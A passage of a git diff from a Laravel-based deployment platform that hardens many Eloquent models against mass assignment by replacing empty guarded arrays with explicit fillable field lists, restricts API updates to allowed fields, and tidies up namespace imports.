$request->all()); + $database = create_standalone_mongodb($environment->id, $destination->uuid, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } diff --git a/app/Http/Controllers/Api/SecurityController.php b/app/Http/Controllers/Api/SecurityController.php index e7b36cb9a..2c62928c2 100644 --- a/app/Http/Controllers/Api/SecurityController.php +++ b/app/Http/Controllers/Api/SecurityController.php @@ -4,6 +4,7 @@ use App\Http\Controllers\Controller; use App\Models\PrivateKey; +use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use OpenApi\Attributes as OA; @@ -176,7 +177,7 @@ public function create_key(Request $request) return invalidTokenResponse(); } $return = validateIncomingRequest($request); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } $validator = customApiValidator($request->all(), [ @@ -300,7 +301,7 @@ public function update_key(Request $request) return invalidTokenResponse(); } $return = validateIncomingRequest($request); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } @@ -330,7 +331,7 @@ public function update_key(Request $request) 'message' => 'Private Key not found.', ], 404); } - $foundKey->update($request->all()); + $foundKey->update($request->only($allowedFields)); return response()->json(serializeApiResponse([ 'uuid' => $foundKey->uuid, diff --git a/app/Livewire/Project/CloneMe.php b/app/Livewire/Project/CloneMe.php index e9184a154..013e66901 100644 --- a/app/Livewire/Project/CloneMe.php +++ b/app/Livewire/Project/CloneMe.php @@ -139,7 +139,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => $uuid, 'status' => 'exited', 'started_at' => null, @@ -187,7 +187,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'name' => $newName, 'resource_id' => $newDatabase->id, ]); @@ -216,7 +216,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'resource_id' => $newDatabase->id, ]); $newStorage->save(); @@ -229,7 +229,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => $uuid, 'database_id' => $newDatabase->id, 'database_type' => $newDatabase->getMorphClass(), @@ -247,7 +247,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill($payload); + ])->forceFill($payload); $newEnvironmentVariable->save(); } } @@ -258,7 +258,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => $uuid, 'environment_id' => $environment->id, 'destination_id' => $this->selectedDestination, @@ -276,7 +276,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => (string) new Cuid2, 'service_id' => $newService->id, 'team_id' => currentTeam()->id, @@ -290,7 +290,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'resourceable_id' => $newService->id, 'resourceable_type' => $newService->getMorphClass(), ]); @@ -298,9 +298,9 @@ public function clone(string $type) } foreach ($newService->applications() as $application) { - $application->update([ + $application->forceFill([ 'status' => 'exited', - ]); + ])->save(); $persistentVolumes = $application->persistentStorages()->get(); foreach ($persistentVolumes as $volume) { @@ -315,7 +315,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'name' => $newName, 'resource_id' => $application->id, ]); @@ -344,7 +344,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'resource_id' => $application->id, ]); $newStorage->save(); @@ -352,9 +352,9 @@ public function clone(string $type) } foreach ($newService->databases() as $database) { - $database->update([ + $database->forceFill([ 'status' => 'exited', - ]); + ])->save(); $persistentVolumes = $database->persistentStorages()->get(); foreach ($persistentVolumes as $volume) { @@ -369,7 +369,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'name' => $newName, 'resource_id' => $database->id, ]); @@ -398,7 +398,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'resource_id' => $database->id, ]); $newStorage->save(); @@ -411,7 +411,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => $uuid, 'database_id' => $database->id, 'database_type' => $database->getMorphClass(), diff --git a/app/Livewire/Project/Shared/ResourceOperations.php b/app/Livewire/Project/Shared/ResourceOperations.php index e769e4bcb..a26b43026 100644 --- a/app/Livewire/Project/Shared/ResourceOperations.php +++ b/app/Livewire/Project/Shared/ResourceOperations.php @@ -7,9 +7,18 @@ use App\Actions\Service\StartService; use App\Actions\Service\StopService; use App\Jobs\VolumeCloneJob; +use App\Models\Application; use App\Models\Environment; use App\Models\Project; +use App\Models\StandaloneClickhouse; use App\Models\StandaloneDocker; +use App\Models\StandaloneDragonfly; +use App\Models\StandaloneKeydb; +use App\Models\StandaloneMariadb; +use App\Models\StandaloneMongodb; +use App\Models\StandaloneMysql; +use App\Models\StandalonePostgresql; +use App\Models\StandaloneRedis; use App\Models\SwarmDocker; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Component; @@ -60,7 +69,7 @@ public function cloneTo($destination_id) $uuid = (string) new Cuid2; $server = $new_destination->server; - if ($this->resource->getMorphClass() === \App\Models\Application::class) { + if ($this->resource->getMorphClass() === Application::class) { $new_resource = clone_application($this->resource, $new_destination, ['uuid' => $uuid], $this->cloneVolumeData); $route = route('project.application.configuration', [ @@ -71,21 +80,21 @@ public function cloneTo($destination_id) return redirect()->to($route); } elseif ( - $this->resource->getMorphClass() === \App\Models\StandalonePostgresql::class || - $this->resource->getMorphClass() === \App\Models\StandaloneMongodb::class || - $this->resource->getMorphClass() === \App\Models\StandaloneMysql::class || - $this->resource->getMorphClass() === \App\Models\StandaloneMariadb::class || - $this->resource->getMorphClass() === \App\Models\StandaloneRedis::class || - $this->resource->getMorphClass() === \App\Models\StandaloneKeydb::class || - $this->resource->getMorphClass() === \App\Models\StandaloneDragonfly::class || - $this->resource->getMorphClass() === \App\Models\StandaloneClickhouse::class + $this->resource->getMorphClass() === StandalonePostgresql::class || + $this->resource->getMorphClass() === StandaloneMongodb::class || + $this->resource->getMorphClass() === StandaloneMysql::class || + $this->resource->getMorphClass() === StandaloneMariadb::class || + $this->resource->getMorphClass() === StandaloneRedis::class || + $this->resource->getMorphClass() === StandaloneKeydb::class || + $this->resource->getMorphClass() === StandaloneDragonfly::class || + $this->resource->getMorphClass() === StandaloneClickhouse::class ) { $uuid = (string) new Cuid2; $new_resource = $this->resource->replicate([ 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => $uuid, 'name' => $this->resource->name.'-clone-'.$uuid, 'status' => 'exited', @@ -133,7 +142,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'name' => $newName, 'resource_id' => $new_resource->id, ]); @@ -162,7 +171,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'resource_id' => $new_resource->id, ]); $newStorage->save(); @@ -175,7 +184,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => $uuid, 'database_id' => $new_resource->id, 'database_type' => $new_resource->getMorphClass(), @@ -194,7 +203,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->fill($payload); + ])->forceFill($payload); $newEnvironmentVariable->save(); } @@ -211,7 +220,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => $uuid, 'name' => $this->resource->name.'-clone-'.$uuid, 'destination_id' => $new_destination->id, @@ -232,7 +241,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => (string) new Cuid2, 'service_id' => $new_resource->id, 'team_id' => currentTeam()->id, @@ -246,7 +255,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'resourceable_id' => $new_resource->id, 'resourceable_type' => $new_resource->getMorphClass(), ]); @@ -254,9 +263,9 @@ public function cloneTo($destination_id) } foreach ($new_resource->applications() as $application) { - $application->update([ + $application->forceFill([ 'status' => 'exited', - ]); + ])->save(); $persistentVolumes = $application->persistentStorages()->get(); foreach ($persistentVolumes as $volume) { @@ -271,7 +280,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'name' => $newName, 'resource_id' => $application->id, ]); @@ -296,9 +305,9 @@ public function cloneTo($destination_id) } foreach ($new_resource->databases() as $database) { - $database->update([ + $database->forceFill([ 'status' => 'exited', - ]); + ])->save(); $persistentVolumes = $database->persistentStorages()->get(); foreach ($persistentVolumes as $volume) { @@ -313,7 +322,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'name' => $newName, 'resource_id' => $database->id, ]); @@ -354,9 +363,9 @@ public function moveTo($environment_id) try { $this->authorize('update', $this->resource); $new_environment = Environment::ownedByCurrentTeam()->findOrFail($environment_id); - $this->resource->update([ + $this->resource->forceFill([ 'environment_id' => $environment_id, - ]); + ])->save(); if ($this->resource->type() === 'application') { $route = route('project.application.configuration', [ 'project_uuid' => $new_environment->project->uuid, diff --git a/app/Models/Application.php b/app/Models/Application.php index c446052b3..4ed1252e4 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -118,7 +118,91 @@ class Application extends BaseModel private static $parserVersion = '5'; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'fqdn', + 'git_repository', + 'git_branch', + 'git_commit_sha', + 'git_full_url', + 'docker_registry_image_name', + 'docker_registry_image_tag', + 'build_pack', + 'static_image', + 'install_command', + 'build_command', + 'start_command', + 'ports_exposes', + 'ports_mappings', + 'base_directory', + 'publish_directory', + 'health_check_enabled', + 'health_check_path', + 'health_check_port', + 'health_check_host', + 'health_check_method', + 'health_check_return_code', + 'health_check_scheme', + 'health_check_response_text', + 'health_check_interval', + 'health_check_timeout', + 'health_check_retries', + 'health_check_start_period', + 'health_check_type', + 'health_check_command', + 'limits_memory', + 'limits_memory_swap', + 'limits_memory_swappiness', + 'limits_memory_reservation', + 'limits_cpus', + 'limits_cpuset', + 'limits_cpu_shares', + 'status', + 'preview_url_template', + 'dockerfile', + 'dockerfile_location', + 'dockerfile_target_build', + 'custom_labels', + 'custom_docker_run_options', + 'post_deployment_command', + 'post_deployment_command_container', + 'pre_deployment_command', + 'pre_deployment_command_container', + 'manual_webhook_secret_github', + 'manual_webhook_secret_gitlab', + 'manual_webhook_secret_bitbucket', + 'manual_webhook_secret_gitea', + 'docker_compose_location', + 'docker_compose', + 'docker_compose_raw', + 'docker_compose_domains', + 'docker_compose_custom_start_command', + 'docker_compose_custom_build_command', + 'swarm_replicas', + 'swarm_placement_constraints', + 'watch_paths', + 'redirect', + 'compose_parsing_version', + 'custom_nginx_configuration', + 'custom_network_aliases', + 'custom_healthcheck_found', + 'is_http_basic_auth_enabled', + 'http_basic_auth_username', + 'http_basic_auth_password', + 'config_hash', + 'last_online_at', + 'restart_count', + 'last_restart_at', + 'last_restart_type', + 'environment_id', + 'destination_id', + 'destination_type', + 'source_id', + 'source_type', + 'private_key_id', + 'repository_project_id', + ]; protected $appends = ['server_status']; @@ -1145,7 +1229,7 @@ public function getGitRemoteStatus(string $deployment_uuid) 'is_accessible' => true, 'error' => null, ]; - } catch (\RuntimeException $ex) { + } catch (RuntimeException $ex) { return [ 'is_accessible' => false, 'error' => $ex->getMessage(), @@ -1202,7 +1286,7 @@ public function generateGitLsRemoteCommands(string $deployment_uuid, bool $exec_ ]; } - if ($this->source->getMorphClass() === \App\Models\GitlabApp::class) { + if ($this->source->getMorphClass() === GitlabApp::class) { $gitlabSource = $this->source; $private_key = data_get($gitlabSource, 'privateKey.private_key'); @@ -1354,7 +1438,7 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req $source_html_url_host = $url['host']; $source_html_url_scheme = $url['scheme']; - if ($this->source->getMorphClass() === \App\Models\GithubApp::class) { + if ($this->source->getMorphClass() === GithubApp::class) { if ($this->source->is_public) { $fullRepoUrl = "{$this->source->html_url}/{$customRepository}"; $escapedRepoUrl = escapeshellarg("{$this->source->html_url}/{$customRepository}"); @@ -1409,7 +1493,7 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req ]; } - if ($this->source->getMorphClass() === \App\Models\GitlabApp::class) { + if ($this->source->getMorphClass() === GitlabApp::class) { $gitlabSource = $this->source; $private_key = data_get($gitlabSource, 'privateKey.private_key'); @@ -1600,7 +1684,7 @@ public function oldRawParser() try { $yaml = Yaml::parse($this->docker_compose_raw); } catch (\Exception $e) { - throw new \RuntimeException($e->getMessage()); + throw new RuntimeException($e->getMessage()); } $services = data_get($yaml, 'services'); @@ -1682,7 +1766,7 @@ public function loadComposeFile($isInit = false, ?string $restoreBaseDirectory = $fileList = collect([".$workdir$composeFile"]); $gitRemoteStatus = $this->getGitRemoteStatus(deployment_uuid: $uuid); if (! $gitRemoteStatus['is_accessible']) { - throw new \RuntimeException("Failed to read Git source:\n\n{$gitRemoteStatus['error']}"); + throw new RuntimeException("Failed to read Git source:\n\n{$gitRemoteStatus['error']}"); } $getGitVersion = instant_remote_process(['git --version'], $this->destination->server, false); $gitVersion = str($getGitVersion)->explode(' ')->last(); @@ -1732,15 +1816,15 @@ public function loadComposeFile($isInit = false, ?string $restoreBaseDirectory = $this->save(); if (str($e->getMessage())->contains('No such file')) { - throw new \RuntimeException("Docker Compose file not found at: $workdir$composeFile (branch: {$this->git_branch})

Check if you used the right extension (.yaml or .yml) in the compose file name."); + throw new RuntimeException("Docker Compose file not found at: $workdir$composeFile (branch: {$this->git_branch})

Check if you used the right extension (.yaml or .yml) in the compose file name."); } if (str($e->getMessage())->contains('fatal: repository') && str($e->getMessage())->contains('does not exist')) { if ($this->deploymentType() === 'deploy_key') { - throw new \RuntimeException('Your deploy key does not have access to the repository. Please check your deploy key and try again.'); + throw new RuntimeException('Your deploy key does not have access to the repository. Please check your deploy key and try again.'); } - throw new \RuntimeException('Repository does not exist. Please check your repository URL and try again.'); + throw new RuntimeException('Repository does not exist. Please check your repository URL and try again.'); } - throw new \RuntimeException($e->getMessage()); + throw new RuntimeException($e->getMessage()); } finally { // Cleanup only - restoration happens in catch block $commands = collect([ @@ -1793,7 +1877,7 @@ public function loadComposeFile($isInit = false, ?string $restoreBaseDirectory = $this->base_directory = $initialBaseDirectory; $this->save(); - throw new \RuntimeException("Docker Compose file not found at: $workdir$composeFile (branch: {$this->git_branch})

Check if you used the right extension (.yaml or .yml) in the compose file name."); + throw new RuntimeException("Docker Compose file not found at: $workdir$composeFile (branch: {$this->git_branch})

Check if you used the right extension (.yaml or .yml) in the compose file name."); } } diff --git a/app/Models/ApplicationDeploymentQueue.php b/app/Models/ApplicationDeploymentQueue.php index 34257e7a7..3b33b1b67 100644 --- a/app/Models/ApplicationDeploymentQueue.php +++ b/app/Models/ApplicationDeploymentQueue.php @@ -39,7 +39,32 @@ )] class ApplicationDeploymentQueue extends Model { - protected $guarded = []; + protected $fillable = [ + 'application_id', + 'deployment_uuid', + 'pull_request_id', + 'force_rebuild', + 'commit', + 'status', + 'is_webhook', + 'logs', + 'current_process_id', + 'restart_only', + 'git_type', + 'server_id', + 'application_name', + 'server_name', + 'deployment_url', + 'destination_id', + 'only_this_server', + 'rollback', + 'commit_message', + 'is_api', + 'build_server_id', + 'horizon_job_id', + 'horizon_job_worker', + 'finished_at', + ]; protected $casts = [ 'finished_at' => 'datetime', diff --git a/app/Models/ApplicationPreview.php b/app/Models/ApplicationPreview.php index b8a8a5a85..8dd6da074 100644 --- a/app/Models/ApplicationPreview.php +++ b/app/Models/ApplicationPreview.php @@ -10,7 +10,16 @@ class ApplicationPreview extends BaseModel { use SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'pull_request_id', + 'pull_request_html_url', + 'pull_request_issue_comment_id', + 'fqdn', + 'status', + 'git_type', + 'docker_compose_domains', + 'last_online_at', + ]; protected static function booted() { @@ -69,7 +78,7 @@ public function application() public function persistentStorages() { - return $this->morphMany(\App\Models\LocalPersistentVolume::class, 'resource'); + return $this->morphMany(LocalPersistentVolume::class, 'resource'); } public function generate_preview_fqdn() diff --git a/app/Models/ApplicationSetting.php b/app/Models/ApplicationSetting.php index f40977b3e..24b35df7f 100644 --- a/app/Models/ApplicationSetting.php +++ b/app/Models/ApplicationSetting.php @@ -28,7 +28,42 @@ class ApplicationSetting extends Model 'docker_images_to_keep' => 'integer', ]; - protected $guarded = []; + protected $fillable = [ + 'is_static', + 'is_git_submodules_enabled', + 'is_git_lfs_enabled', + 'is_auto_deploy_enabled', + 'is_force_https_enabled', + 'is_debug_enabled', + 'is_preview_deployments_enabled', + 'is_log_drain_enabled', + 'is_gpu_enabled', + 'gpu_driver', + 'gpu_count', + 'gpu_device_ids', + 'gpu_options', + 'is_include_timestamps', + 'is_swarm_only_worker_nodes', + 'is_raw_compose_deployment_enabled', + 'is_build_server_enabled', + 'is_consistent_container_name_enabled', + 'is_gzip_enabled', + 'is_stripprefix_enabled', + 'connect_to_docker_network', + 'custom_internal_name', + 'is_container_label_escape_enabled', + 'is_env_sorting_enabled', + 'is_container_label_readonly_enabled', + 'is_preserve_repository_enabled', + 'disable_build_cache', + 'is_spa', + 'is_git_shallow_clone_enabled', + 'is_pr_deployments_public_enabled', + 'use_build_secrets', + 'inject_build_args_to_dockerfile', + 'include_source_commit_in_build', + 'docker_images_to_keep', + ]; public function isStatic(): Attribute { diff --git a/app/Models/CloudProviderToken.php b/app/Models/CloudProviderToken.php index 700ab0992..123376c9b 100644 --- a/app/Models/CloudProviderToken.php +++ b/app/Models/CloudProviderToken.php @@ -4,7 +4,11 @@ class CloudProviderToken extends BaseModel { - protected $guarded = []; + protected $fillable = [ + 'provider', + 'token', + 'name', + ]; protected $casts = [ 'token' => 'encrypted', diff --git a/app/Models/DiscordNotificationSettings.php b/app/Models/DiscordNotificationSettings.php index 23e1f0f12..e86598126 100644 --- a/app/Models/DiscordNotificationSettings.php +++ b/app/Models/DiscordNotificationSettings.php @@ -24,7 +24,8 @@ class DiscordNotificationSettings extends Model 'backup_failure_discord_notifications', 'scheduled_task_success_discord_notifications', 'scheduled_task_failure_discord_notifications', - 'docker_cleanup_discord_notifications', + 'docker_cleanup_success_discord_notifications', + 'docker_cleanup_failure_discord_notifications', 'server_disk_usage_discord_notifications', 'server_reachable_discord_notifications', 'server_unreachable_discord_notifications', diff --git a/app/Models/DockerCleanupExecution.php b/app/Models/DockerCleanupExecution.php index 405037e30..162913b3e 100644 --- a/app/Models/DockerCleanupExecution.php +++ b/app/Models/DockerCleanupExecution.php @@ -6,7 +6,12 @@ class DockerCleanupExecution extends BaseModel { - protected $guarded = []; + protected $fillable = [ + 'status', + 'message', + 'cleanup_log', + 'finished_at', + ]; public function server(): BelongsTo { diff --git a/app/Models/EmailNotificationSettings.php b/app/Models/EmailNotificationSettings.php index ee31a49b6..1277e45d9 100644 --- a/app/Models/EmailNotificationSettings.php +++ b/app/Models/EmailNotificationSettings.php @@ -34,7 +34,11 @@ class EmailNotificationSettings extends Model 'backup_failure_email_notifications', 'scheduled_task_success_email_notifications', 'scheduled_task_failure_email_notifications', + 'docker_cleanup_success_email_notifications', + 'docker_cleanup_failure_email_notifications', 'server_disk_usage_email_notifications', + 'server_reachable_email_notifications', + 'server_unreachable_email_notifications', 'server_patch_email_notifications', 'traefik_outdated_email_notifications', ]; diff --git a/app/Models/Environment.php b/app/Models/Environment.php index d4e614e6e..55ce93265 100644 --- a/app/Models/Environment.php +++ b/app/Models/Environment.php @@ -25,7 +25,10 @@ class Environment extends BaseModel use HasFactory; use HasSafeStringAttribute; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + ]; protected static function booted() { diff --git a/app/Models/GithubApp.php b/app/Models/GithubApp.php index ab82c9a9c..3cffeb8f8 100644 --- a/app/Models/GithubApp.php +++ b/app/Models/GithubApp.php @@ -6,7 +6,25 @@ class GithubApp extends BaseModel { - protected $guarded = []; + protected $fillable = [ + 'name', + 'organization', + 'api_url', + 'html_url', + 'custom_user', + 'custom_port', + 'app_id', + 'installation_id', + 'client_id', + 'client_secret', + 'webhook_secret', + 'is_system_wide', + 'is_public', + 'contents', + 'metadata', + 'pull_requests', + 'administration', + ]; protected $appends = ['type']; @@ -92,7 +110,7 @@ public function type(): Attribute { return Attribute::make( get: function () { - if ($this->getMorphClass() === \App\Models\GithubApp::class) { + if ($this->getMorphClass() === GithubApp::class) { return 'github'; } }, diff --git a/app/Models/GitlabApp.php b/app/Models/GitlabApp.php index 2112a4a66..06df8fd8d 100644 --- a/app/Models/GitlabApp.php +++ b/app/Models/GitlabApp.php @@ -4,6 +4,24 @@ class GitlabApp extends BaseModel { + protected $fillable = [ + 'name', + 'organization', + 'api_url', + 'html_url', + 'custom_port', + 'custom_user', + 'is_system_wide', + 'is_public', + 'app_id', + 'app_secret', + 'oauth_id', + 'group_name', + 'public_key', + 'webhook_token', + 'deploy_key_id', + ]; + protected $hidden = [ 'webhook_token', 'app_secret', diff --git a/app/Models/InstanceSettings.php b/app/Models/InstanceSettings.php index ccc361d67..6061bc863 100644 --- a/app/Models/InstanceSettings.php +++ b/app/Models/InstanceSettings.php @@ -9,7 +9,43 @@ class InstanceSettings extends Model { - protected $guarded = []; + protected $fillable = [ + 'public_ipv4', + 'public_ipv6', + 'fqdn', + 'public_port_min', + 'public_port_max', + 'do_not_track', + 'is_auto_update_enabled', + 'is_registration_enabled', + 'next_channel', + 'smtp_enabled', + 'smtp_from_address', + 'smtp_from_name', + 'smtp_recipients', + 'smtp_host', + 'smtp_port', + 'smtp_encryption', + 'smtp_username', + 'smtp_password', + 'smtp_timeout', + 'resend_enabled', + 'resend_api_key', + 'is_dns_validation_enabled', + 'custom_dns_servers', + 'instance_name', + 'is_api_enabled', + 'allowed_ips', + 'auto_update_frequency', + 'update_check_frequency', + 'new_version_available', + 'instance_timezone', + 'helper_version', + 'disable_two_step_confirmation', + 'is_sponsorship_popup_enabled', + 'dev_helper_version', + 'is_wire_navigate_enabled', + ]; protected $casts = [ 'smtp_enabled' => 'boolean', diff --git a/app/Models/LocalFileVolume.php b/app/Models/LocalFileVolume.php index b954a1dd5..4b5c602c2 100644 --- a/app/Models/LocalFileVolume.php +++ b/app/Models/LocalFileVolume.php @@ -20,7 +20,18 @@ class LocalFileVolume extends BaseModel use HasFactory; - protected $guarded = []; + protected $fillable = [ + 'fs_path', + 'mount_path', + 'content', + 'resource_type', + 'resource_id', + 'is_directory', + 'chown', + 'chmod', + 'is_based_on_git', + 'is_preview_suffix_enabled', + ]; public $appends = ['is_binary']; diff --git a/app/Models/LocalPersistentVolume.php b/app/Models/LocalPersistentVolume.php index 9d539f8ec..2f0f482b0 100644 --- a/app/Models/LocalPersistentVolume.php +++ b/app/Models/LocalPersistentVolume.php @@ -7,7 +7,15 @@ class LocalPersistentVolume extends BaseModel { - protected $guarded = []; + protected $fillable = [ + 'name', + 'mount_path', + 'host_path', + 'container_id', + 'resource_type', + 'resource_id', + 'is_preview_suffix_enabled', + ]; protected $casts = [ 'is_preview_suffix_enabled' => 'boolean', diff --git a/app/Models/Project.php b/app/Models/Project.php index ed1b415c1..eca5440ef 100644 --- a/app/Models/Project.php +++ b/app/Models/Project.php @@ -24,7 +24,10 @@ class Project extends BaseModel use HasFactory; use HasSafeStringAttribute; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + ]; /** * Get query builder for projects owned by current team. diff --git a/app/Models/ProjectSetting.php b/app/Models/ProjectSetting.php index d93bea05b..7ea17ba7a 100644 --- a/app/Models/ProjectSetting.php +++ b/app/Models/ProjectSetting.php @@ -6,7 +6,7 @@ class ProjectSetting extends Model { - protected $guarded = []; + protected $fillable = []; public function project() { diff --git a/app/Models/PushoverNotificationSettings.php b/app/Models/PushoverNotificationSettings.php index 189d05dd4..5ad617ad6 100644 --- a/app/Models/PushoverNotificationSettings.php +++ b/app/Models/PushoverNotificationSettings.php @@ -25,7 +25,8 @@ class PushoverNotificationSettings extends Model 'backup_failure_pushover_notifications', 'scheduled_task_success_pushover_notifications', 'scheduled_task_failure_pushover_notifications', - 'docker_cleanup_pushover_notifications', + 'docker_cleanup_success_pushover_notifications', + 'docker_cleanup_failure_pushover_notifications', 'server_disk_usage_pushover_notifications', 'server_reachable_pushover_notifications', 'server_unreachable_pushover_notifications', diff --git a/app/Models/S3Storage.php b/app/Models/S3Storage.php index f395a065c..d6feccc7e 100644 --- a/app/Models/S3Storage.php +++ b/app/Models/S3Storage.php @@ -12,7 +12,17 @@ class S3Storage extends BaseModel { use HasFactory, HasSafeStringAttribute; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'region', + 'key', + 'secret', + 'bucket', + 'endpoint', + 'is_usable', + 'unusable_email_sent', + ]; protected $casts = [ 'is_usable' => 'boolean', diff --git a/app/Models/ScheduledDatabaseBackup.php b/app/Models/ScheduledDatabaseBackup.php index 3ade21df8..c6aed863d 100644 --- a/app/Models/ScheduledDatabaseBackup.php +++ b/app/Models/ScheduledDatabaseBackup.php @@ -8,7 +8,25 @@ class ScheduledDatabaseBackup extends BaseModel { - protected $guarded = []; + protected $fillable = [ + 'description', + 'enabled', + 'save_s3', + 'frequency', + 'database_backup_retention_amount_locally', + 'database_type', + 'database_id', + 's3_storage_id', + 'databases_to_backup', + 'dump_all', + 'database_backup_retention_days_locally', + 'database_backup_retention_max_storage_locally', + 'database_backup_retention_amount_s3', + 'database_backup_retention_days_s3', + 'database_backup_retention_max_storage_s3', + 'timeout', + 'disable_local_backup', + ]; public static function ownedByCurrentTeam() { diff --git a/app/Models/ScheduledDatabaseBackupExecution.php b/app/Models/ScheduledDatabaseBackupExecution.php index c0298ecc8..f1f6e88b5 100644 --- a/app/Models/ScheduledDatabaseBackupExecution.php +++ b/app/Models/ScheduledDatabaseBackupExecution.php @@ -6,7 +6,17 @@ class ScheduledDatabaseBackupExecution extends BaseModel { - protected $guarded = []; + protected $fillable = [ + 'status', + 'message', + 'size', + 'filename', + 'database_name', + 'finished_at', + 'local_storage_deleted', + 's3_storage_deleted', + 's3_uploaded', + ]; protected function casts(): array { diff --git a/app/Models/ScheduledTask.php b/app/Models/ScheduledTask.php index e771ce31e..e76f1b7b9 100644 --- a/app/Models/ScheduledTask.php +++ b/app/Models/ScheduledTask.php @@ -29,7 +29,14 @@ class ScheduledTask extends BaseModel use HasFactory; use HasSafeStringAttribute; - protected $guarded = []; + protected $fillable = [ + 'enabled', + 'name', + 'command', + 'frequency', + 'container', + 'timeout', + ]; public static function ownedByCurrentTeamAPI(int $teamId) { diff --git a/app/Models/ScheduledTaskExecution.php b/app/Models/ScheduledTaskExecution.php index c0601a4c9..dd74ba2e0 100644 --- a/app/Models/ScheduledTaskExecution.php +++ b/app/Models/ScheduledTaskExecution.php @@ -22,7 +22,15 @@ )] class ScheduledTaskExecution extends BaseModel { - protected $guarded = []; + protected $fillable = [ + 'status', + 'message', + 'finished_at', + 'started_at', + 'retry_count', + 'duration', + 'error_details', + ]; protected function casts(): array { diff --git a/app/Models/Server.php b/app/Models/Server.php index 00843b3da..f5ac0bd45 100644 --- a/app/Models/Server.php +++ b/app/Models/Server.php @@ -34,6 +34,7 @@ use Spatie\SchemalessAttributes\Casts\SchemalessAttributes; use Spatie\SchemalessAttributes\SchemalessAttributesTrait; use Spatie\Url\Url; +use Stevebauman\Purify\Facades\Purify; use Symfony\Component\Yaml\Yaml; use Visus\Cuid2\Cuid2; @@ -265,14 +266,12 @@ public static function flushIdentityMap(): void 'server_metadata', ]; - protected $guarded = []; - use HasSafeStringAttribute; public function setValidationLogsAttribute($value): void { $this->attributes['validation_logs'] = $value !== null - ? \Stevebauman\Purify\Facades\Purify::config('validation_logs')->clean($value) + ? Purify::config('validation_logs')->clean($value) : null; } diff --git a/app/Models/ServerSetting.php b/app/Models/ServerSetting.php index 504cfa60a..3afbc85ab 100644 --- a/app/Models/ServerSetting.php +++ b/app/Models/ServerSetting.php @@ -53,7 +53,50 @@ )] class ServerSetting extends Model { - protected $guarded = []; + protected $fillable = [ + 'is_swarm_manager', + 'is_jump_server', + 'is_build_server', + 'is_reachable', + 'is_usable', + 'wildcard_domain', + 'is_cloudflare_tunnel', + 'is_logdrain_newrelic_enabled', + 'logdrain_newrelic_license_key', + 'logdrain_newrelic_base_uri', + 'is_logdrain_highlight_enabled', + 'logdrain_highlight_project_id', + 'is_logdrain_axiom_enabled', + 'logdrain_axiom_dataset_name', + 'logdrain_axiom_api_key', + 'is_swarm_worker', + 'is_logdrain_custom_enabled', + 'logdrain_custom_config', + 'logdrain_custom_config_parser', + 'concurrent_builds', + 'dynamic_timeout', + 'force_disabled', + 'is_metrics_enabled', + 'generate_exact_labels', + 'force_docker_cleanup', + 'docker_cleanup_frequency', + 'docker_cleanup_threshold', + 'server_timezone', + 'delete_unused_volumes', + 'delete_unused_networks', + 'is_sentinel_enabled', + 'sentinel_token', + 'sentinel_metrics_refresh_rate_seconds', + 'sentinel_metrics_history_days', + 'sentinel_push_interval_seconds', + 'sentinel_custom_url', + 'server_disk_usage_notification_threshold', + 'is_sentinel_debug_enabled', + 'server_disk_usage_check_frequency', + 'is_terminal_enabled', + 'deployment_queue_limit', + 'disable_application_image_retention', + ]; protected $casts = [ 'force_docker_cleanup' => 'boolean', diff --git a/app/Models/Service.php b/app/Models/Service.php index 84c047bb7..527328621 100644 --- a/app/Models/Service.php +++ b/app/Models/Service.php @@ -15,6 +15,7 @@ use 